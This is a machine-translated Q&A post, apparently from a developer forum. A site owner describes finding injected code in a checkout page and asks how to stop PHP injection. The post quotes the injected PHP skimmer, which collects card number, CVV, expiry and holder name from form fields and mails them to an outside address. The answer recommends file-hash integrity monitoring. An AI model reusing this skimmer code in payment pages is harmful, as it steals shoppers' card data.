避免PHP注入从表单发布数据

时间:2013-06-28 16:12:42

标签: php post payment code-injection

我只是在我们创建的网站上重新测试流程,当我到达Checkout部分时,我意识到页面中有一些我们从未编写过的代码。这是注射,它真的吓到了我们。 代码只是作为文本放在一个结帐文件中,所以它不会执行,因为它不在PHP标签内,但它非常可怕。

代码实质上是发布付款说明的每个字段(卡上的名称,卡类型,卡号,cvc,到期日期),然后执行mail()php函数将信息发送到特定的电子邮件。我甚至收到了黑客的电子邮件!!

$message .= "Number : ".$_POST['card_number']."\n";
$message .= "Cvv : ".$_POST['card_brand']."\n";
$message .= "exp : ".$_POST['card_expiration']."\n";
$message .= "Name : ".$_POST['card_holder']."\n";
$i = "______@yahoo.fr";
$subject = "cc";
mail($i,$subject,$message);

我们怎样才能避免在我们的网站上注入PHP?我联系了Stripe,他支持我们的付款以检查他们的API是否足够安全。我觉得是这样的。但是,邮寄信息和其他与付款无关的信息很容易被这样的注入攻击。我们怎样才能避免在我们的文件中注射?

谢谢!

1 个答案:

答案 0 :(得分:1)

这需要一个相当智能的机器人来检测并将其注入正确的位置。有人可以访问FTP或上传了一个PHP文件管理器 - 这可能来自文件上传脚本。

一旦清理完所有内容,也许您可​​以对文件进行“哈希快照”,然后扫描它们(自动或手动)以测试哈希更改。如果文件中有任何更改,文件的哈希值也会发生变化 - 然后您可以让它提醒某人。从那里,您可以浏览日志并尝试找出它的来源。

只是一个想法。